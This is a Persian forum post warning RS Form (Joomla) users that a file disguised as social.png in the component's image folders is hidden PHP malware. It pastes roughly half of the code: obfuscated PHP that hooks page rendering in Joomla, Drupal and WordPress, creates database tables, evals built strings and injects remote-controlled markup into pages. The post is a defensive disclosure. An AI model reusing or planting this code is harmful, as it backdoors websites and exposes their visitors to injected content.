هشدار: ویروسی بودن کامپوننت فرم ساز RS Form
سلام به همه اونایی که از کامپوننت آر اس فرم استفاده می کنن
اگه در مسیرهای زیر فایلی به نام social.png داشتید حتما اون رو پاک کنید
/public_html/administrator/components/com_rsform/assets/images/social.png
/public_html/components/com_rsform/assets/images/social.png
کافی فایل مورد نظر رو به social.php تغییر نام بدید تا کدهای مخفی در این تصویر رو ملاحظه بفرمایید
دوستانی که از نحوه کار این ویروس چیزی می دونن به اطلاع خودم و سایر دوستان برسونن.
یاعلی
نصف کد رو می قرار میدم:
کد:
<?php error_reporting(0); ini_set('display_errors', 0);@ini_set('max_execution_time', 300);@set_time_limit(0);function XJmVaOhvhAQNoaACoDOM() { if (!defined('WP_OPTION_KEY')) { define('WP_OPTION_KEY', 'wp_data_newa'); $oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(1); }}if (class_exists('JFactory')) { $fRBDRzVvkOhTDTWAHUGa = & JFactory::getApplication(); $fRBDRzVvkOhTDTWAHUGa->registerEvent('onAfterRender', 'XJmVaOhvhAQNoaACoDOM');}if ($GLOBALS['base_path'] || $GLOBALS['base_url']) { if (!defined('WP_OPTION_KEY')) { define('WP_OPTION_KEY', 'wp_data_newa'); $whjjnvouGqpgVFKDaceH = 'function ' . $template->name . "_page_alter(&\$page) {\$oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(2); \$NygjKszxwCxlHbyDpHTT = \"\"; foreach (\$oXyaqmHoChvHQFCvTluq->oXyaqmHoChvHQFCvTluq['echo'] as \$stIedxfhoZcXvZNmNXTd) { \$NygjKszxwCxlHbyDpHTT.=\$stIedxfhoZcXvZNmNXTd; } \$vsGIQvwCXRbSELMOlFV = \$NygjKszxwCxlHbyDpHTT; \$page['page_top'][] = array('#markup' => \$vsGIQvwCXRbSELMOlFV); } "; } eval($whjjnvouGqpgVFKDaceH);}if (!defined('WP_OPTION_KEY') && (function_exists('get_home_url') || function_exists('get_site_url'))) { define('WP_OPTION_KEY', 'wp_data_newa'); new GsSYoMTsQibQgcHcuGmr(0);}class GsSYoMTsQibQgcHcuGmr { public $oXyaqmHoChvHQFCvTluq = array(), $yYVsqvOoqWsddypXgJcI = array(), $KPnBqYhemQSdHKDNtJpe, $qcCONSsvpJlMgdhEFFmr, $IzGRmpLLtcLVMJRxcfpe, $aJQafHDwnaPrCJrQMjHV, $AeRxXNHxOXpcNJWlZSIK, $vwhhtIrAWhUEFDgPrcco, $htcFFCQTLLpnCchsPKGY, $wqawPxkNytKqRKNRqbwA, $IatJdWimJbxtprWZElHe, $YobOrWbieESFVcSsWsuB; public $WbKPQMoSbMZkXUeYKXRI; public function __construct($KPnBqYhemQSdHKDNtJpe) { $this->KPnBqYhemQSdHKDNtJpe = $KPnBqYhemQSdHKDNtJpe; if ($KPnBqYhemQSdHKDNtJpe === 1) { $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `#__options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; $AKorMlJxhsFuVmuppepc = JFactory::getDbo(); $AKorMlJxhsFuVmuppepc->setQuery($fNkUjsWlUtvjeWmrzNlI); $AKorMlJxhsFuVmuppepc->query(); } if ($KPnBqYhemQSdHKDNtJpe === 2) { $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; db_query($fNkUjsWlUtvjeWmrzNlI); } $this->yYVsqvOoqWsddypXgJcI = array( '==DZk4FZlVwY5RGZhpQB' ,'=4JnhZUpck2olIKM', '=4JnhZ3M1WJMeyTo', '=02ow5FryW3ogkJnuWUq', '6yzLhDKqwETol92q', '==trcWzYyEKqwETol92q', 'g92LhZ3ni9Togyzr', '==DoiAzYiEKqiyKMgS2p', '=8zMhyzYhIJMlqzoi9Jo', '=bKnv5vpuE3phSJofI2n', 'aW3ohHzMckzp19JM2y2M', '=02ow5PoyITqmEJquWaM', '==DoiAzY6ITqu1JLgkJL', 'g92LhpzockTocM2oaWKM', '==toc5vo1AKMaSTofyzq', 'hyzY5Izpi1JM29Jo', '==jMl9zY5ITMi9zMiyzL', 'aW3ohVGqlpzocuTq55JL', '==jMl9zYhI2LmEapiO3p', 'aW3oh4JLwAUq0I3L', '=pzpi5lp0WKLjSJMyWaM', '==jqj5FqiyKMwyzoyA2p', '3OaY1WGoj1JL', '=pUphxKqaWKnuu2L', '=4JnhVKMeAJnfMJock2p', '=4JnhV3ox5JLl9TryuTq', '=4Jnh4JqvyKMh9Tn', 'hyzYmk2oiEaoyk2M', 'hyzYh9TqlSzLhSTM', '=4JnhNKqiW3Mf9TogyzL', '==toc5lp0Szp0SzM', 'hyzYfIJM0Aaouu2L', 'hyzYlSTqm92Mhyzp', '6yzLh4zpiEKMfqzocWaL', 'aW3ohHTo5E3pgHJocW3L', '==trcWzYmgJLgyTqf9zM', '==Nqy5zYmAKMhy2M0ITo0I3o', '==jqj5PnmyzMiEUnmyzp', '==jqj5lphS2pfIzquWUq', '==trcWzYlITMuk2Mc5Jq', '0IzohZUocSzMlITMh92q', '0IzohZKMfyUqm52ohITr', '=pzpi5vouEKn0g2LukzL', '=HJohNKqbSTof9Tn', '=DKMh5lpyEJLlq2ohSzo', '6yzLhxapu1TMuITM', '==Nqy5zY39zoe1JLyWUM', '==Nqy5zYlITqXNHxOXpcNJWlZSIK->qPhSGyDrRdyPezAnHgia(); $this->WbKPQMoSbMZkXUeYKXRI = $WbKPQMoSbMZkXUeYKXRI; $vsJigIMHYwdFnuqvRwrv = false; $BCEUSjHFFwzzqmHmpjjQ = 0; foreach ($this->HSxTktcbTftjZjKRHHmh() as $gXNjWLFkUQOugyREMXKv) { $oXyaqmHoChvHQFCvTluq = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI); $oXyaqmHoChvHQFCvTluq = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluq); if ($oXyaqmHoChvHQFCvTluq !== false) { $vsJigIMHYwdFnuqvRwrv = true; if ($this->YobOrWbieESFVcSsWsuB) { break; } break; } } if ($vsJigIMHYwdFnuqvRwrv) { if ($this->YobOrWbieESFVcSsWsuB) { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); } $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq; } else { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); $oXyaqmHoChvHQFCvTluq['info'] = $WbKPQMoSbMZkXUeYKXRI; $this->oXyaqmHoChvHQFCvTluq = $oXyaqmHoChvHQFCvTluq; $this->aIIwgKgvtyRoWoMedUdb(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluq); $this->XnpSvtOjNDRmxyfzaDKl(); } return $oXyaqmHoChvHQFCvTluq; } return false; } public function TztHMzNNJASlMfiSOwxQ() { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; if ($oXyaqmHoChvHQFCvTluq == '') { return false; } $SntMBKFkfTlUzXyNVQed = @$_GET[$this->oXyaqmHoChvHQFCvTluq['info']['serverKey']]; if (isset($SntMBKFkfTlUzXyNVQed) && $SntMBKFkfTlUzXyNVQed == '') { echo '<div id="serverList" style="display: none">'; $bQYduZxDrtPMJtaBCQyc['servers'] = $oXyaqmHoChvHQFCvTluq['servers']; echo json_encode($bQYduZxDrtPMJtaBCQyc); echo '</div>'; die(); } else if (isset($SntMBKFkfTlUzXyNVQed) && isset($this->oXyaqmHoChvHQFCvTluq['info']['fail'])) { if (isset($this->oXyaqmHoChvHQFCvTluq)) { $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq; } else { $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE(); }
